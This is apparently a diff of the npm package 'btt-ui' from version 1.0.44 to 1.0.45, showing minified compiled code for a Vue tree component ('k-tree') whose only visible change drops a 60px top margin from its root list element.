H=["id"],Q=["onClick"],U=["onClick"],W=["onClick"],X=["onClick"],Y={class:"node_name"},Z=c.defineComponent({name:"k-tree"}),ee=c.defineComponent({...Z,props:{showIcon:{type:Boolean,default:!0},checkbox:{type:Boolean,default:!1},nodeKey:{type:String,default:"id"},type:{type:String,default:"json"},data:{type:Array,default:()=>[]},defaultExpandAll:{type:Boolean},props:{type:Object,default:()=>({children:"children",label:"label",disabled:"disabled"})},color:{type:String,default:"#1d72ff"},parentKey:{type:String,default:"pId"},showRadio:{type:Boolean,default:!1},defaultCheckedKeys:{type:Array,default:()=>[]},defaultExpandedKeys:{type:Array,default:()=>[]},load:{type:Function},checkStrictly:{type:Boolean,default:!1},curId:{type:String,default:"9999"},requestApi:{type:Function,default:null},params:{type:Object,default:{}}},emits:["nodeClick"],setup(a,{expose:A,emit:z}){let L=1;const V=e=>typeof e=="function",{n:q}=G.createNamespace("tree"),n=a,j=z,O={children:"children",label:"label",disabled:"disabled"},h=c.ref(n.curId),f=c.computed(()=>({...O,...n.props})),R=c.computed(()=>n.load&&V(n.load)),u=(e,t=0,l=null)=>{if(!e)return[];!e.length&&l&&(l.expand=!1,l.isLeaf=!0);const s=f.value.children,o=f.value.label,i=f.value.disabled,v=f.value.isLeaf,K=n.nodeKey;return e.map(r=>{const _=r[K]||L++,I=n.defaultCheckedKeys.includes(_),D=!!n.defaultExpandAll||n.defaultExpandedKeys.includes(_),C={[K]:_,data:r,label:r[o],level:t,checked:I||(l==null?void 0:l.checked),expand:D,childNodes:[],parent:l,indeterminate:!1,loaded:!1,isLeaf:r[v],disabled:r[i]};if(r[s]&&r[s].length?C.childNodes=u(r[s],t+1,C):R.value||(C.isLeaf=!0),I&&l){let b=l;for(;b;)b.indeterminate=!1,b=b.parent}return C})},$=(e,t)=>{let l="button switch "+("level"+e.level);return e.childNodes.length==0?l+=" center_docu":e.childNodes.length>0&&(t==e.childNodes.length-1?e.expand?l+=" bottom_open":l+=" bottom_close":e.expand?l+=" roots_open":l+=" roots_close"),l},T=e=>{let t="button ";return e.expand?t+=" ico_close":e.childNodes.length==0?t+=" ico_docu":t+=" ico_open",t},g=e=>{n.checkbox||(h.value=e.id+"",j("nodeClick",e))};function m(e){return e&&e.childNodes&&e.childNodes.length}function k(e,t){!m(e)||e.childNodes.forEach(l=>{l.checked=t,l.indeterminate=!1,k(l,t)})}const F=e=>{e.indeterminate=!1,e.checked=!e.checked,n.checkStrictly||k(e,e.checked)};function x(e,t){!e||e.forEach(l=>{t(l),m(l)&&x(l.childNodes,t)})}function S(e){if(!e)return[];let t=new Array;return x(e,l=>{l.checked&&t.push(l)}),t}const w=(e,t,l,s=new Array)=>{if(!(l.length&&e))return l;for(let o of l){if(o[t].indexOf(e)>-1){s.push(o);continue}if(o.children&&o.children.length){let i=w(e,t,o.children);if(i&&i.length){let v={...o,children:i};s.push(v)}}}return s},p=(e,t=n.parentKey)=>{const l=new Map(e.map(o=>[o.id,o])),s={};return e.forEach(o=>{const i=l.get(o[t])?l.get(o[t]):s;i.children||(i.children=[]),i.children.push(o)}),s.children?s.children:[]},d=c.reactive({childNodes:new Array,children:new Array}),y=e=>JSON.parse(JSON.stringify(e)),B=()=>{n.type=="json"?(d.childNodes=u(n.data),d.children=n.data):(d.childNodes=u(p(y(n.data))),d.children=p(y(n.data)))},M=e=>{e.expand=!e.expand};n.requestApi?n.requestApi(n.params).then(e=>{e.code==200&&(d.childNodes=u(p(y(e.data))),d.children=p(y(e.data)))}):B(),c.watch(()=>n.data,()=>{B()},{deep:!0}),c.watch(()=>n.checkbox,()=>{h.value="9999",N()},{deep:!0});function P(e){if(!e)return;let t=e;for(;t;){if(m(t)){const l=t.childNodes.filter(s=>s.checked);if(!l.length)t.checked=!1,t.childNodes.filter(s=>s.indeterminate).length<=0&&(t.indeterminate=!1);else{if(l.length<t.childNodes.length)break;t.indeterminate=!1,t.checked=!0}}t=t.parent}for(;t;)t.checked=!1,t.indeterminate=!0,t=t.parent;return t}function E(e,t){if(!e)return[];x(e,l=>{t.includes(l[n.nodeKey])&&(l.checked=!0,n.checkStrictly||(k(l,l.checked),P(l.parent)))})}const N=()=>{d.childNodes.forEach(e=>{e.checked=!1,e.indeterminate=!1,k(e,!1)})};return A({getCheckedNodes:()=>S(d.childNodes),getCheckedKeys:()=>S(d.childNodes).map(t=>t[n.nodeKey]),getNoChildNodes:()=>S(d.childNodes).filter(t=>t.childNodes.length==0),setCheckedKeys:e=>{N(),E(d.childNodes,e)},setCheckedNodes:e=>{N();const t=e.map(l=>l[n.nodeKey]);E(d.childNodes,t)},clearChecked:N,query:e=>{d.childNodes=u(w(e,n.props.label+"",d.children))}}),(e,t)=>(c.openBlock(),c.createElementBlock("ul",{class:c.normalizeClass([c.unref(q)()]),style:c.normalizeStyle([{"margin-top":"60px"},{"--k-tree-text-color":a.color}])},[(c.openBlock(!0),c.createElementBlock(c.Fragment,null,c.renderList(d.childNodes,(l,s)=>(c.openBlock(),c.createElementBlock("li",{id:"ztree_"+s,class:c.normalizeClass(["level"+l.level])},[c.createElementVNode("span",{class:c.normalizeClass($(l,s)),onClick:o=>M(l)},null,10,Q),a.checkbox?(c.openBlock(),c.createElementBlock("span",{key:0,class:c.normalizeClass(["button chk",[l.indeterminate?"indeterminate":l.checked?"checkbox_true_full":"checkbox_false_full"]]),onClick:o=>F(l)},null,10,U)):c.createCommentVNode("",!0),a.showRadio&&!a.checkbox?(c.openBlock(),c.createElementBlock("span",{key:1,class:c.normalizeClass(["button chk",[l.id==h.value?"radio_true_full":"radio_false_full"]]),onClick:o=>g(l)},null,10,W)):c.createCommentVNode("",!0),c.createElementVNode("a",{class:c.normalizeClass(["level"+l.level,l.id==h.value?"cur":""]),onClick:o=>g(l)},[a.showIcon?(c.openBlock(),c.createElementBlock("span",{key:0,class:c.normalizeClass(T(l))},null,2)):c.createCommentVNode("",!0),c.createElementVNode("span",Y,[c.renderSlot(e.$slots,"default",{scope:l},()=>[c.createTextVNode(c.toDisplayString(l.label),1)])])],10,X),l.childNodes.length>0?(c.openBlock(),c.createBlock(J.default,{key:2,style:c.normalizeStyle({display:l.expand?"block":"none"}),data:l.childNodes,isLastNode:s==d.childNodes.length-1,checkbox:a.checkbox,showIcon:a.showIcon,showRadio:a.showRadio,checkStrictly:a.checkStrictly,curSelectId:h.value,onNodeClick:g},{default:c.withCtx(({scope:o})=>[c.renderSlot(e.$slots,"default",{scope:o})]),_:3},8,["style","data","isLastNode","checkbox","showIcon","showRadio","checkStrictly","curSelectId"])):c.createCommentVNode("",!0)],10,H))),256))],6))}});exports.default=ee;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const c=require("vue"),J=require("./nodeItem.js"),G=require("../../../assets/ts/utils.js");require("./style/index.css");const H=["id"],Q=["onClick"],U=["onClick"],W=["onClick"],X=["onClick"],Y={class:"node_name"},Z=c.defineComponent({name:"k-tree"}),ee=c.defineComponent({...Z,props:{showIcon:{type:Boolean,default:!0},checkbox:{type:Boolean,default:!1},nodeKey:{type:String,default:"id"},type:{type:String,default:"json"},data:{type:Array,default:()=>[]},defaultExpandAll:{type:Boolean},props:{type:Object,default:()=>({children:"children",label:"label",disabled:"disabled"})},color:{type:String,default:"#1d72ff"},parentKey:{type:String,default:"pId"},showRadio:{type:Boolean,default:!1},defaultCheckedKeys:{type:Array,default:()=>[]},defaultExpandedKeys:{type:Array,default:()=>[]},load:{type:Function},checkStrictly:{type:Boolean,default:!1},curId:{type:String,default:"9999"},requestApi:{type:Function,default:null},params:{type:Object,default:{}}},emits:["nodeClick"],setup(a,{expose:A,emit:z}){let L=1;const V=e=>typeof e=="function",{n:q}=G.createNamespace("tree"),n=a,j=z,O={children:"children",label:"label",disabled:"disabled"},h=c.ref(n.curId),f=c.computed(()=>({...O,...n.props})),R=c.computed(()=>n.load&&V(n.load)),u=(e,t=0,l=null)=>{if(!e)return[];!e.length&&l&&(l.expand=!1,l.isLeaf=!0);const s=f.value.children,o=f.value.label,i=f.value.disabled,v=f.value.isLeaf,K=n.nodeKey;return e.map(r=>{const _=r[K]||L++,I=n.defaultCheckedKeys.includes(_),D=!!n.defaultExpandAll||n.defaultExpandedKeys.includes(_),C={[K]:_,data:r,label:r[o],level:t,checked:I||(l==null?void 0:l.checked),expand:D,childNodes:[],parent:l,indeterminate:!1,loaded:!1,isLeaf:r[v],disabled:r[i]};if(r[s]&&r[s].length?C.childNodes=u(r[s],t+1,C):R.value||(C.isLeaf=!0),I&&l){let b=l;for(;b;)b.indeterminate=!1,b=b.parent}return C})},$=(e,t)=>{let l="button switch "+("level"+e.level);return e.childNodes.length==0?l+=" center_docu":e.childNodes.length>0&&(t==e.childNodes.length-1?e.expand?l+=" bottom_open":l+=" bottom_close":e.expand?l+=" roots_open":l+=" roots_close"),l},T=e=>{let t="button ";return e.expand?t+=" ico_close":e.childNodes.length==0?t+=" ico_docu":t+=" ico_open",t},g=e=>{n.checkbox||(h.value=e.id+"",j("nodeClick",e))};function m(e){return e&&e.childNodes&&e.childNodes.length}function k(e,t){!m(e)||e.childNodes.forEach(l=>{l.checked=t,l.indeterminate=!1,k(l,t)})}const F=e=>{e.indeterminate=!1,e.checked=!e.checked,n.checkStrictly||k(e,e.checked)};function x(e,t){!e||e.forEach(l=>{t(l),m(l)&&x(l.childNodes,t)})}function S(e){if(!e)return[];let t=new Array;return x(e,l=>{l.checked&&t.push(l)}),t}const w=(e,t,l,s=new Array)=>{if(!(l.length&&e))return l;for(let o of l){if(o[t].indexOf(e)>-1){s.push(o);continue}if(o.children&&o.children.length){let i=w(e,t,o.children);if(i&&i.length){let v={...o,children:i};s.push(v)}}}return s},p=(e,t=n.parentKey)=>{const l=new Map(e.map(o=>[o.id,o])),s={};return e.forEach(o=>{const i=l.get(o[t])?l.get(o[t]):s;i.children||(i.children=[]),i.children.push(o)}),s.children?s.children:[]},d=c.reactive({childNodes:new Array,children:new Array}),y=e=>JSON.parse(JSON.stringify(e)),B=()=>{n.type=="json"?(d.childNodes=u(n.data),d.children=n.data):(d.childNodes=u(p(y(n.data))),d.children=p(y(n.data)))},M=e=>{e.expand=!e.expand};n.requestApi?n.requestApi(n.params).then(e=>{e.code==200&&(d.childNodes=u(p(y(e.data))),d.children=p(y(e.data)))}):B(),c.watch(()=>n.data,()=>{B()},{deep:!0}),c.watch(()=>n.checkbox,()=>{h.value="9999",N()},{deep:!0});function P(e){if(!e)return;let t=e;for(;t;){if(m(t)){const l=t.childNodes.filter(s=>s.checked);if(!l.length)t.checked=!1,t.childNodes.filter(s=>s.indeterminate).length<=0&&(t.indeterminate=!1);else{if(l.length<t.childNodes.length)break;t.indeterminate=!1,t.checked=!0}}t=t.parent}for(;t;)t.checked=!1,t.indeterminate=!0,t=t.parent;return t}function E(e,t){if(!e)return[];x(e,l=>{t.includes(l[n.nodeKey])&&(l.checked=!0,n.checkStrictly||(k(l,l.checked),P(l.parent)))})}const N=()=>{d.childNodes.forEach(e=>{e.checked=!1,e.indeterminate=!1,k(e,!1)})};return A({getCheckedNodes:()=>S(d.childNodes),getCheckedKeys:()=>S(d.childNodes).map(t=>t[n.nodeKey]),getNoChildNodes:()=>S(d.childNodes).filter(t=>t.childNodes.length==0),setCheckedKeys:e=>{N(),E(d.childNodes,e)},setCheckedNodes:e=>{N();const t=e.map(l=>l[n.nodeKey]);E(d.childNodes,t)},clearChecked:N,query:e=>{d.childNodes=u(w(e,n.props.label+"",d.children))}}),(e,t)=>(c.openBlock(),c.createElementBlock("ul",{class:c.normalizeClass([c.unref(q)()]),style:c.normalizeStyle({"--k-tree-text-color":a.color})},[(c.openBlock(!0),c.createElementBlock(c.Fragment,null,c.renderList(d.childNodes,(l,s)=>(c.openBlock(),c.createElementBlock("li",{id:"ztree_"+s,class:c.normalizeClass(["level"+l.level])},[c.createElementVNode("span",{class:c.normalizeClass($(l,s)),onClick:o=>M(l)},null,10,Q),a.checkbox?(c.openBlock(),c.createElementBlock("span",{key:0,class:c.normalizeClass(["button chk",[l.indeterminate?"indeterminate":l.checked?"checkbox_true_full":"checkbox_false_full"]]),onClick:o=>F(l)},null,10,U)):c.createCommentVNode("",!0),a.showRadio&&!a.checkbox?(c.openBlock(),c.createElementBlock("span",{key:1,class:c.normalizeClass(["button chk",[l.id==h.value?"radio_true_full":"radio_false_full"]]),onClick:o=>g(l)},null,10,W)):c.createCommentVNode("",!0),c.createElementVNode("a",{class:c.normalizeClass(["level"+l.level,l.id==h.value?"cur":""]),onClick:o=>g(l)},[a.showIcon?(c.openBlock(),c.createElementBlock("span",{key:0,class:c.normalizeClass(T(l))},null,2)):c.createCommentVNode("",!0),c.createElementVNode("span",Y,[c.renderSlot(e.$slots,"default",{scope:l},()=>[c.createTextVNode(c.toDisplayString(l.label),1)])])],10,X),l.childNodes.length>0?(c.openBlock(),c.createBlock(J.default,{key:2,style:c.normalizeStyle({display:l.expand?"block":"none"}),data:l.childNodes,isLastNode:s==d.childNodes.length-1,checkbox:a.checkbox,showIcon:a.showIcon,showRadio:a.showRadio,checkStrictly:a.checkStrictly,curSelectId:h.value,onNodeClick:g},{default:c.withCtx(({scope:o})=>[c.renderSlot(e.$slots,"default",{scope:o})]),_:3},8,["style","data","isLastNode","checkbox","showIcon","showRadio","checkStrictly","curSelectId"])):c.createCommentVNode("",!0)],10,H))),256))],6))}});exports.default=ee;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "btt-ui",
3
- "version": "1.0.44",
3
+ "version": "1.0.45",
4
4
  "main": "lib/index.js",
5
5
  "module": "es/index.mjs",
6
6
  "files": [